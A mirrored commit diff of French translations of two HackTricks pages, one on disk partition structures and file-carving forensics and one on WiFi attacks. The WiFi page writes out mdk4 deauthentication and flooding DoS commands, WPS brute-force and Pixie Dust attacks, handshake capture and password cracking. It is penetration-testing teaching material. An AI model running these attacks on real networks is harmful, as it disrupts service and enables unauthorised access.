mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
287dabe8cf
commit
5e5546ad02
@ -9,9 +9,9 @@ L'unité **minimale** d'un disque est le **secteur** (normalement composé de 51
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Il est alloué dans le **premier secteur du disque après les 446B du code de démarrage**. Ce secteur est essentiel pour indiquer à l'ordinateur ce qui doit être monté et d'où.\
|
||||
Il est alloué dans le **premier secteur du disque après les 446B du code de démarrage**. Ce secteur est essentiel pour indiquer au PC ce qui doit être monté et d'où.\
|
||||
Il permet jusqu'à **4 partitions** (au maximum **juste 1** peut être active/**démarrable**). Cependant, si vous avez besoin de plus de partitions, vous pouvez utiliser des **partitions étendues**. Le **dernier octet** de ce premier secteur est la signature du boot record **0x55AA**. Une seule partition peut être marquée comme active.\
|
||||
Le MBR permet **max 2.2TB**.
|
||||
Le MBR permet **max 2.2 To**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -34,18 +34,18 @@ Des **octets 440 à 443** du MBR, vous pouvez trouver la **signature de disque W
|
||||
|
||||
**Format d'enregistrement de partition**
|
||||
|
||||
| Décalage | Longueur | Élément |
|
||||
| ----------- | -------- | -------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = démarrable) |
|
||||
| 1 (0x01) | 1 (0x01) | Tête de départ |
|
||||
| Décalage | Longueur | Élément |
|
||||
| ----------- | ---------- | ---------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Drapeau actif (0x80 = démarrable) |
|
||||
| 1 (0x01) | 1 (0x01) | Tête de départ |
|
||||
| 2 (0x02) | 1 (0x01) | Secteur de départ (bits 0-5); bits supérieurs du cylindre (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cylindre de départ 8 bits les plus bas |
|
||||
| 4 (0x04) | 1 (0x01) | Code de type de partition (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Tête de fin |
|
||||
| 6 (0x06) | 1 (0x01) | Secteur de fin (bits 0-5); bits supérieurs du cylindre (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cylindre de fin 8 bits les plus bas |
|
||||
| 8 (0x08) | 4 (0x04) | Secteurs précédant la partition (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Secteurs dans la partition |
|
||||
| 3 (0x03) | 1 (0x01) | Cylindre de départ 8 bits les plus bas |
|
||||
| 4 (0x04) | 1 (0x01) | Code de type de partition (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Tête de fin |
|
||||
| 6 (0x06) | 1 (0x01) | Secteur de fin (bits 0-5); bits supérieurs du cylindre (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cylindre de fin 8 bits les plus bas |
|
||||
| 8 (0x08) | 4 (0x04) | Secteurs précédant la partition (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Secteurs dans la partition |
|
||||
|
||||
Pour monter un MBR sous Linux, vous devez d'abord obtenir le décalage de départ (vous pouvez utiliser `fdisk` et la commande `p`)
|
||||
|
||||
@ -60,20 +60,20 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Addressage de blocs logiques)**
|
||||
|
||||
**L'addressage de blocs logiques** (**LBA**) est un schéma courant utilisé pour **spécifier l'emplacement des blocs** de données stockées sur des dispositifs de stockage informatique, généralement des systèmes de stockage secondaires tels que les disques durs. LBA est un schéma d'adressage linéaire particulièrement simple ; **les blocs sont localisés par un index entier**, le premier bloc étant LBA 0, le deuxième LBA 1, et ainsi de suite.
|
||||
**L'addressage de blocs logiques** (**LBA**) est un schéma courant utilisé pour **spécifier l'emplacement des blocs** de données stockées sur des dispositifs de stockage informatique, généralement des systèmes de stockage secondaire tels que les disques durs. LBA est un schéma d'adressage linéaire particulièrement simple ; **les blocs sont localisés par un index entier**, le premier bloc étant LBA 0, le deuxième LBA 1, et ainsi de suite.
|
||||
|
||||
### GPT (Table de partition GUID)
|
||||
|
||||
La Table de partition GUID, connue sous le nom de GPT, est privilégiée pour ses capacités améliorées par rapport à MBR (Master Boot Record). Distinctive pour son **identifiant unique global** pour les partitions, GPT se distingue de plusieurs manières :
|
||||
|
||||
- **Emplacement et taille** : À la fois GPT et MBR commencent au **secteur 0**. Cependant, GPT fonctionne sur **64 bits**, contrairement aux 32 bits de MBR.
|
||||
- **Emplacement et taille** : GPT et MBR commencent tous deux à **secteur 0**. Cependant, GPT fonctionne sur **64 bits**, contrairement aux 32 bits de MBR.
|
||||
- **Limites de partition** : GPT prend en charge jusqu'à **128 partitions** sur les systèmes Windows et peut accueillir jusqu'à **9,4 ZB** de données.
|
||||
- **Noms de partition** : Offre la possibilité de nommer les partitions avec jusqu'à 36 caractères Unicode.
|
||||
|
||||
**Résilience et récupération des données** :
|
||||
|
||||
- **Redondance** : Contrairement à MBR, GPT ne confine pas les données de partition et de démarrage à un seul endroit. Il réplique ces données sur le disque, améliorant ainsi l'intégrité et la résilience des données.
|
||||
- **Contrôle de redondance cyclique (CRC)** : GPT utilise le CRC pour garantir l'intégrité des données. Il surveille activement la corruption des données, et lorsqu'elle est détectée, GPT tente de récupérer les données corrompues à partir d'un autre emplacement sur le disque.
|
||||
- **Redondance** : Contrairement à MBR, GPT ne confine pas les données de partition et de démarrage à un seul endroit. Elle réplique ces données sur le disque, améliorant ainsi l'intégrité et la résilience des données.
|
||||
- **Contrôle de redondance cyclique (CRC)** : GPT utilise le CRC pour garantir l'intégrité des données. Elle surveille activement la corruption des données et, lorsqu'elle est détectée, GPT tente de récupérer les données corrompues à partir d'un autre emplacement sur le disque.
|
||||
|
||||
**MBR protecteur (LBA0)** :
|
||||
|
||||
@ -95,7 +95,7 @@ L'en-tête de la table de partition définit les blocs utilisables sur le disque
|
||||
|
||||
| Offset | Longueur | Contenu |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 octets | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)sur les machines little-endian) |
|
||||
| 0 (0x00) | 8 octets | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)sur les machines little-endian) |
|
||||
| 8 (0x08) | 4 octets | Révision 1.0 (00h 00h 01h 00h) pour UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 octets | Taille de l'en-tête en little endian (en octets, généralement 5Ch 00h 00h 00h ou 92 octets) |
|
||||
| 16 (0x10) | 4 octets | [CRC32](https://en.wikipedia.org/wiki/CRC32) de l'en-tête (offset +0 jusqu'à la taille de l'en-tête) en little endian, avec ce champ mis à zéro pendant le calcul |
|
||||
@ -114,14 +114,14 @@ L'en-tête de la table de partition définit les blocs utilisables sur le disque
|
||||
**Entrées de partition (LBA 2–33)**
|
||||
|
||||
| Format d'entrée de partition GUID | | |
|
||||
| ------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Longueur | Contenu |
|
||||
| 0 (0x00) | 16 octets | [Type de partition GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixte) |
|
||||
| 16 (0x10) | 16 octets | GUID de partition unique (endian mixte) |
|
||||
| 32 (0x20) | 8 octets | Premier LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 octets | Dernier LBA (inclusif, généralement impair) |
|
||||
| 48 (0x30) | 8 octets | Drapeaux d'attributs (par exemple, le bit 60 désigne lecture seule) |
|
||||
| 56 (0x38) | 72 octets | Nom de la partition (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unités de code) |
|
||||
| --------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Longueur | Contenu |
|
||||
| 0 (0x00) | 16 octets | [Type de partition GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixte) |
|
||||
| 16 (0x10) | 16 octets | GUID de partition unique (endian mixte) |
|
||||
| 32 (0x20) | 8 octets | Premier LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 octets | Dernier LBA (inclusif, généralement impair) |
|
||||
| 48 (0x30) | 8 octets | Drapeaux d'attributs (par exemple, le bit 60 indique en lecture seule) |
|
||||
| 56 (0x38) | 72 octets | Nom de la partition (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unités de code) |
|
||||
|
||||
**Types de partitions**
|
||||
|
||||
@ -149,7 +149,7 @@ S'il s'agissait d'une **table GPT au lieu d'un MBR**, la signature _EFI PART_ de
|
||||
|
||||
### FAT
|
||||
|
||||
Le système de fichiers **FAT (Table d'allocation de fichiers)** est conçu autour de son composant central, la table d'allocation de fichiers, positionnée au début du volume. Ce système protège les données en maintenant **deux copies** de la table, garantissant l'intégrité des données même si l'une est corrompue. La table, ainsi que le dossier racine, doit être à un **emplacement fixe**, crucial pour le processus de démarrage du système.
|
||||
Le système de fichiers **FAT (Table d'allocation de fichiers)** est conçu autour de son composant central, la table d'allocation de fichiers, positionnée au début du volume. Ce système protège les données en maintenant **deux copies** de la table, garantissant l'intégrité des données même si l'une est corrompue. La table, ainsi que le dossier racine, doit être dans un **emplacement fixe**, crucial pour le processus de démarrage du système.
|
||||
|
||||
L'unité de stockage de base du système de fichiers est un **cluster, généralement 512B**, comprenant plusieurs secteurs. FAT a évolué à travers des versions :
|
||||
|
||||
@ -157,7 +157,7 @@ L'unité de stockage de base du système de fichiers est un **cluster, général
|
||||
- **FAT16**, améliorant à des adresses de 16 bits, permettant ainsi d'accueillir jusqu'à 65 517 clusters.
|
||||
- **FAT32**, avançant encore avec des adresses de 32 bits, permettant un impressionnant 268 435 456 clusters par volume.
|
||||
|
||||
Une limitation significative à travers les versions de FAT est la **taille maximale de fichier de 4 Go**, imposée par le champ de 32 bits utilisé pour le stockage de la taille des fichiers.
|
||||
Une limitation significative à travers les versions FAT est la **taille maximale de fichier de 4 Go**, imposée par le champ de 32 bits utilisé pour le stockage de la taille des fichiers.
|
||||
|
||||
Les composants clés du répertoire racine, en particulier pour FAT12 et FAT16, incluent :
|
||||
|
||||
@ -169,7 +169,7 @@ Les composants clés du répertoire racine, en particulier pour FAT12 et FAT16,
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** est le système de fichiers le plus courant pour les **partitions non journaling** (**partitions qui ne changent pas beaucoup**) comme la partition de démarrage. **Ext3/4** sont **journaling** et sont généralement utilisés pour **les autres partitions**.
|
||||
**Ext2** est le système de fichiers le plus courant pour les **partitions non journalières** (**partitions qui ne changent pas beaucoup**) comme la partition de démarrage. **Ext3/4** sont **journalières** et sont généralement utilisées pour le **reste des partitions**.
|
||||
|
||||
## **Métadonnées**
|
||||
|
||||
@ -189,7 +189,7 @@ Vous pouvez utiliser des outils comme [**exiftool**](https://exiftool.org) et [*
|
||||
|
||||
### Fichiers supprimés enregistrés
|
||||
|
||||
Comme vu précédemment, il existe plusieurs endroits où le fichier est encore sauvegardé après avoir été "supprimé". Cela est dû au fait que généralement, la suppression d'un fichier d'un système de fichiers le marque simplement comme supprimé mais les données ne sont pas touchées. Il est donc possible d'inspecter les registres des fichiers (comme le MFT) et de trouver les fichiers supprimés.
|
||||
Comme vu précédemment, il existe plusieurs endroits où le fichier est encore sauvegardé après avoir été "supprimé". Cela est dû au fait que, généralement, la suppression d'un fichier d'un système de fichiers ne fait que le marquer comme supprimé, mais les données ne sont pas touchées. Il est donc possible d'inspecter les registres des fichiers (comme le MFT) et de trouver les fichiers supprimés.
|
||||
|
||||
De plus, le système d'exploitation enregistre généralement beaucoup d'informations sur les modifications du système de fichiers et les sauvegardes, il est donc possible d'essayer de les utiliser pour récupérer le fichier ou autant d'informations que possible.
|
||||
|
||||
@ -211,8 +211,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Carving de flux de données **C**
|
||||
|
||||
Le carving de flux de données est similaire au carving de fichiers mais **au lieu de chercher des fichiers complets, il recherche des fragments intéressants** d'informations.\
|
||||
Par exemple, au lieu de chercher un fichier complet contenant des URL enregistrées, cette technique recherchera des URL.
|
||||
Le carving de flux de données est similaire au carving de fichiers mais **au lieu de rechercher des fichiers complets, il recherche des fragments intéressants** d'informations.\
|
||||
Par exemple, au lieu de rechercher un fichier complet contenant des URL enregistrées, cette technique recherchera des URL.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Suppression sécurisée
|
||||
|
||||
Évidemment, il existe des moyens de **"supprimer de manière sécurisée" des fichiers et une partie des journaux les concernant**. Par exemple, il est possible de **réécrire le contenu** d'un fichier avec des données inutiles plusieurs fois, puis **de supprimer** les **journaux** du **$MFT** et **$LOGFILE** concernant le fichier, et **de supprimer les copies de volume shadow**.\
|
||||
Évidemment, il existe des moyens de **supprimer "sécuritairement" des fichiers et une partie des journaux les concernant**. Par exemple, il est possible de **surcharger le contenu** d'un fichier avec des données inutiles plusieurs fois, puis **de supprimer** les **journaux** du **$MFT** et **$LOGFILE** concernant le fichier, et **de supprimer les copies de l'ombre du volume**.\
|
||||
Vous pouvez remarquer qu'en effectuant cette action, il peut y avoir **d'autres parties où l'existence du fichier est toujours enregistrée**, et c'est vrai, et une partie du travail des professionnels de l'analyse judiciaire est de les trouver.
|
||||
|
||||
## Références
|
||||
|
@ -59,7 +59,7 @@ Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
||||
- Scanner les réseaux possibles - Et vous laisser sélectionner la ou les victimes
|
||||
- Si WEP - Lancer des attaques WEP
|
||||
- Si WPA-PSK
|
||||
- Si WPS : attaque Pixie dust et attaque par bruteforce (faites attention, l'attaque par bruteforce peut prendre beaucoup de temps). Notez qu'il n'essaie pas de PIN nulle ou de PINs générés.
|
||||
- Si WPS : attaque Pixie dust et attaque par bruteforce (faites attention, l'attaque par bruteforce peut prendre beaucoup de temps). Notez qu'il ne tente pas de PIN nulle ou de PINs générés/base de données.
|
||||
- Essayer de capturer le PMKID de l'AP pour le cracker
|
||||
- Essayer de désauthentifier les clients de l'AP pour capturer un handshake
|
||||
- Si PMKID ou Handshake, essayer de bruteforcer en utilisant les 5000 mots de passe les plus courants.
|
||||
@ -71,7 +71,7 @@ Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
||||
- APs factices aléatoires -- Cacher des réseaux, possible crash des scanners
|
||||
- Surcharger l'AP -- Essayer de tuer l'AP (généralement pas très utile)
|
||||
- WIDS -- Jouer avec l'IDS
|
||||
- TKIP, EAPOL -- Certaines attaques spécifiques pour DoS certains APs
|
||||
- TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs
|
||||
- **Cracking**
|
||||
- Craquer **WEP** (plusieurs outils et méthodes)
|
||||
- **WPA-PSK**
|
||||
@ -126,7 +126,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
|
||||
**MODE D'ATTAQUE b : Inondation de balises**
|
||||
|
||||
Envoie des trames de balise pour afficher de faux APs aux clients. Cela peut parfois faire planter les analyseurs de réseau et même les pilotes !
|
||||
Envoie des trames de balise pour afficher de faux AP aux clients. Cela peut parfois faire planter les analyseurs de réseau et même les pilotes !
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
@ -146,11 +146,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**MODE D'ATTAQUE p : Probing SSID et Bruteforçage**
|
||||
|
||||
Le probing des points d'accès (AP) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, associée au **bruteforçage des SSID cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
Le probing des points d'accès (APs) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, couplée avec le **bruteforçage des SSID cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
|
||||
**MODE D'ATTAQUE m : Exploitation des Contre-mesures Michael**
|
||||
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les contre-mesures Michael sur les **AP TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique efficace d'attaque **DoS** (Denial of Service).
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les contre-mesures Michael sur les **APs TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique d'attaque **DoS** (Denial of Service) efficace.
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -158,18 +158,18 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**MODE D'ATTAQUE e : Injection de paquets EAPOL Start et Logoff**
|
||||
|
||||
Inonder un AP avec des **trames EAPOL Start** crée des **sessions factices**, submergeant l'AP et bloquant les clients légitimes. Alternativement, l'injection de **messages EAPOL Logoff factices** déconnecte de force les clients, les deux méthodes perturbent efficacement le service réseau.
|
||||
Inonder un AP avec des **trames EAPOL Start** crée des **sessions factices**, submergeant l'AP et bloquant les clients légitimes. Alternativement, injecter des **messages EAPOL Logoff factices** déconnecte de force les clients, les deux méthodes perturbent efficacement le service réseau.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**MODE D'ATTAQUE s : Attaques pour les réseaux maillés IEEE 802.11s**
|
||||
|
||||
Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés.
|
||||
Différentes attaques sur la gestion des liens et le routage dans les réseaux maillés.
|
||||
|
||||
**MODE D'ATTAQUE w : Confusion WIDS**
|
||||
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à de faux APs malveillants peut manipuler les systèmes de détection et de prévention d'intrusion, créant de la confusion et un potentiel abus du système.
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à de faux AP malveillants peut manipuler les systèmes de détection et de prévention d'intrusion, créant de la confusion et un potentiel abus du système.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
@ -186,7 +186,7 @@ _**Airgeddon**_ propose la plupart des attaques mentionnées dans les commentair
|
||||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec **WPA** ou **WPA2** Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un code PIN à 8 chiffres, validé en deux moitiés, ce qui le rend vulnérable aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).
|
||||
WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec **WPA** ou **WPA2** Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un code PIN à 8 chiffres, validé en deux parties, ce qui le rend vulnérable aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).
|
||||
|
||||
### Bruteforce WPS
|
||||
|
||||
@ -195,7 +195,7 @@ Il existe 2 outils principaux pour effectuer cette action : Reaver et Bully.
|
||||
- **Reaver** a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé contre une grande variété de points d'accès et d'implémentations WPS.
|
||||
- **Bully** est une **nouvelle implémentation** de l'attaque par force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code reaver original : moins de dépendances, performances améliorées en mémoire et CPU, gestion correcte de l'endianness, et un ensemble d'options plus robuste.
|
||||
|
||||
L'attaque exploite la **vulnérabilité du PIN WPS**, en particulier son exposition des quatre premiers chiffres et le rôle du dernier chiffre en tant que somme de contrôle, facilitant l'attaque par force brute. Cependant, les défenses contre les attaques par force brute, comme **le blocage des adresses MAC** des attaquants agressifs, nécessitent une **rotation des adresses MAC** pour continuer l'attaque.
|
||||
L'attaque exploite la **vulnérabilité du PIN WPS**, en particulier son exposition des quatre premiers chiffres et le rôle du dernier chiffre en tant que somme de contrôle, facilitant l'attaque par force brute. Cependant, les défenses contre les attaques par force brute, comme le **blocage des adresses MAC** des attaquants agressifs, nécessitent une **rotation des adresses MAC** pour continuer l'attaque.
|
||||
|
||||
Après avoir obtenu le PIN WPS avec des outils comme Bully ou Reaver, l'attaquant peut déduire le PSK WPA/WPA2, garantissant un **accès réseau persistant**.
|
||||
```bash
|
||||
@ -211,7 +211,7 @@ Cette approche raffinée cible les PIN WPS en utilisant des vulnérabilités con
|
||||
|
||||
### WPS Pixie Dust attack
|
||||
|
||||
**Dominique Bongard** a découvert une faille dans certains Points d'Accès (AP) concernant la création de codes secrets, connus sous le nom de **nonces** (**E-S1** et **E-S2**). Si ces nonces peuvent être découverts, le craquage du PIN WPS de l'AP devient facile. L'AP révèle le PIN dans un code spécial (hash) pour prouver qu'il est légitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clés" pour déverrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations à ce sujet peuvent être trouvées [ici](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
**Dominique Bongard** a découvert un défaut dans certains Points d'Accès (AP) concernant la création de codes secrets, connus sous le nom de **nonces** (**E-S1** et **E-S2**). Si ces nonces peuvent être découverts, le craquage du PIN WPS de l'AP devient facile. L'AP révèle le PIN dans un code spécial (hash) pour prouver qu'il est légitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clés" pour déverrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations à ce sujet peuvent être trouvées [ici](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
|
||||
En termes simples, le problème est que certains AP n'utilisaient pas des clés suffisamment aléatoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnérable à être deviné depuis l'extérieur du réseau (attaque par force brute hors ligne).
|
||||
```bash
|
||||
@ -237,12 +237,12 @@ Tous les attaques WPS proposées peuvent être facilement réalisées en utilisa
|
||||
- 5 et 6 vous permettent d'essayer **votre PIN personnalisé** (si vous en avez un)
|
||||
- 7 et 8 effectuent l'**attaque Pixie Dust**
|
||||
- 13 vous permet de tester le **PIN NULL**
|
||||
- 11 et 12 vont **récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles** et **générer** des **PINs** possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
|
||||
- 11 et 12 vont **recollecter les PINs liés à l'AP sélectionné à partir des bases de données disponibles** et **générer** des **PINs** possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
|
||||
- 9 et 10 testeront **tous les PINs possibles**
|
||||
|
||||
## **WEP**
|
||||
|
||||
Tellement cassé et inutilisé de nos jours. Sachez simplement que _**airgeddon**_ a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plus d'outils offrent des options similaires.
|
||||
Tellement cassé et inutilisé de nos jours. Sachez juste que _**airgeddon**_ a une option WEP appelée "All-in-One" pour attaquer ce type de protection. D'autres outils offrent des options similaires.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -293,7 +293,7 @@ hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil n'ont pas pu être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
|
||||
### Capture de handshake
|
||||
|
||||
@ -310,7 +310,7 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may no
|
||||
```
|
||||
_Remarque que, comme le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d'autres cas, à un autre réseau._
|
||||
|
||||
Une fois que dans le `airodump-ng` apparaissent des informations de handshake, cela signifie que le handshake a été capturé et que vous pouvez arrêter d'écouter :
|
||||
Une fois que dans le `airodump-ng` apparaît des informations de handshake, cela signifie que le handshake a été capturé et vous pouvez arrêter d'écouter :
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -348,15 +348,15 @@ Dans **les configurations WiFi d'entreprise, vous rencontrerez diverses méthode
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi entre pairs et envoie les mots de passe en texte clair au point d'accès, posant un risque pour les attaques de rétrogradation.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de la vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
- Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de sa vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
- Utilise à la fois des certificats côté client et côté serveur pour l'authentification et peut générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
- Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu'une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Elle nécessite uniquement des certificats côté serveur, les clients utilisant des identifiants.
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
- Fonctionne de manière similaire à EAP en créant un tunnel TLS pour une communication protégée. Elle permet l'utilisation de protocoles d'authentification plus faibles au-dessus de EAP grâce à la protection offerte par le tunnel.
|
||||
- **PEAP-MSCHAPv2**: Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable MSCHAPv2 avec un tunnel TLS protecteur.
|
||||
- **PEAP-EAP-TLS (ou PEAP-TLS)**: Semblable à EAP-TLS mais initie un tunnel TLS avant l'échange de certificats, offrant une couche de sécurité supplémentaire.
|
||||
- Fonctionne de manière similaire à EAP en créant un tunnel TLS pour une communication protégée. Elle permet l'utilisation de protocoles d'authentification plus faibles au-dessus de EAP en raison de la protection offerte par le tunnel.
|
||||
- **PEAP-MSCHAPv2**: Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable de MSCHAPv2 avec un tunnel TLS protecteur.
|
||||
- **PEAP-EAP-TLS (ou PEAP-TLS)**: Semblable à EAP-TLS mais initie un tunnel TLS avant d'échanger des certificats, offrant une couche de sécurité supplémentaire.
|
||||
|
||||
Vous pouvez trouver plus d'informations sur ces méthodes d'authentification [ici](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) et [ici](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
@ -365,29 +365,29 @@ Vous pouvez trouver plus d'informations sur ces méthodes d'authentification [ic
|
||||
En lisant [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), il semble que si vous utilisez **EAP**, les **messages "Identity"** doivent être **pris en charge**, et le **nom d'utilisateur** sera envoyé en **clair** dans les **messages "Response Identity"**.
|
||||
|
||||
Même en utilisant l'une des méthodes d'authentification les plus sécurisées : **PEAP-EAP-TLS**, il est possible de **capturer le nom d'utilisateur envoyé dans le protocole EAP**. Pour ce faire, **capturez une communication d'authentification** (démarrez `airodump-ng` dans un canal et `wireshark` dans la même interface) et filtrez les paquets par `eapol`.\
|
||||
Dans le paquet "**Response, Identity**", le **nom d'utilisateur** du client apparaîtra.
|
||||
À l'intérieur du paquet "**Response, Identity**", le **nom d'utilisateur** du client apparaîtra.
|
||||
|
||||
.png>)
|
||||
|
||||
### Identités anonymes
|
||||
|
||||
Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'EAP-Identity est généralement initiée par le point d'accès (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur contient uniquement les informations essentielles requises pour que le serveur RADIUS initial traite la demande. Ce concept est illustré par les scénarios suivants :
|
||||
